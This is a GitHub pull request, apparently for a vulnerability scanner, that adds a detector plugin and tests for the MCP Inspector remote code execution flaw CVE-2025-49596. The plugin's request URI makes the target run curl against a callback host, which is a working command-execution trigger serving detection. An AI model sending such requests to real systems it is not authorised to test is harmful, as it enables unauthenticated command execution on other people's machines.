-
Notifications
You must be signed in to change notification settings - Fork 215
Add CVE-2025-49596 MCP Inspector RCE Detector #688
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from 1 commit
Commits
Show all changes
2 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
68 changes: 68 additions & 0 deletions
68
templated/templateddetector/plugins/cve/2025/MCP_Inspector_CVE_2025_49596.textproto
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,68 @@ | ||
| # proto-file: proto/templated_plugin.proto | ||
| # proto-message: TemplatedPlugin | ||
|
|
||
| ############### | ||
| # PLUGIN INFO # | ||
| ############### | ||
|
|
||
| info: { | ||
| type: VULN_DETECTION | ||
| name: "MCP_Inspector_CVE_2025_49596" | ||
| author: "frkngksl" | ||
| version: "1.0" | ||
| } | ||
|
|
||
| finding: { | ||
| main_id: { | ||
| publisher: "GOOGLE" | ||
| value: "CVE-2025-49596" | ||
| } | ||
| severity: CRITICAL | ||
| title: "Remote code execution affecting MCP Inspector (CVE-2025-49596)" | ||
| description: "The MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio." | ||
| recommendation: "Update the version to 0.14.1 or later." | ||
| related_id: { | ||
| publisher: "CVE" | ||
| value: "CVE-2025-49596" | ||
| } | ||
| } | ||
|
|
||
| config: {} | ||
|
|
||
| ########### | ||
| # ACTIONS # | ||
| ########### | ||
|
|
||
| actions: { | ||
| name: "trigger_code_execution" | ||
| http_request: { | ||
| method: GET | ||
| uri: "/sse?transportType=stdio&command=curl&args={{ T_CBS_URI }}" | ||
| response: { | ||
| http_status: 200 | ||
| expect_all: { | ||
| conditions: [ | ||
| { body: {} contains: "sessionId=" } | ||
| ] | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
|
||
| actions: { | ||
| name: "check_callback_server_logs" | ||
| callback_server: { action_type: CHECK } | ||
| } | ||
|
|
||
|
|
||
| ############# | ||
| # WORKFLOWS # | ||
| ############# | ||
|
|
||
| workflows: { | ||
| condition: REQUIRES_CALLBACK_SERVER | ||
| actions: [ | ||
| "trigger_code_execution", | ||
| "check_callback_server_logs" | ||
| ] | ||
| } | ||
66 changes: 66 additions & 0 deletions
66
templated/templateddetector/plugins/cve/2025/MCP_Inspector_CVE_2025_49596_test.textproto
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,66 @@ | ||
| # proto-file: proto/templated_plugin_tests.proto | ||
| # proto-message: TemplatedPluginTests | ||
|
|
||
| config: { | ||
| tested_plugin: "MCP_Inspector_CVE_2025_49596" | ||
| } | ||
|
|
||
| tests: { | ||
| name: "whenVulnerable_returnsTrue" | ||
| expect_vulnerability: true | ||
|
|
||
| mock_callback_server: { | ||
| enabled: true | ||
| has_interaction: true | ||
| } | ||
|
|
||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "/sse?transportType=stdio&command=curl&args={{ T_CBS_URI }}" | ||
| status: 200 | ||
| body_content: "event: endpoint\ndata: /message?sessionId=c868d434-b75d-49cb-9f91-ca9d2c86e518" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
|
|
||
| tests: { | ||
| name: "whenNoCallback_returnsFalse" | ||
| expect_vulnerability: false | ||
|
|
||
| mock_callback_server: { | ||
| enabled: true | ||
| has_interaction: false | ||
| } | ||
|
|
||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "/sse?transportType=stdio&command=curl&args={{ T_CBS_URI }}" | ||
| status: 401 | ||
| body_content: "{\"error\":\"Unauthorized\",\"message\":\"Authentication required. Use the session token shown in the console when starting the server.\"}" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
|
|
||
| tests: { | ||
| name: "whenNotMCP_Inspector_returnsFalse" | ||
| expect_vulnerability: false | ||
|
|
||
| mock_callback_server: { | ||
| enabled: true | ||
| has_interaction: true | ||
| } | ||
|
|
||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "TSUNAMI_MAGIC_ANY_URI" | ||
| status: 200 | ||
| body_content: "Hello world" | ||
| } | ||
| ] | ||
| } | ||
| } |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.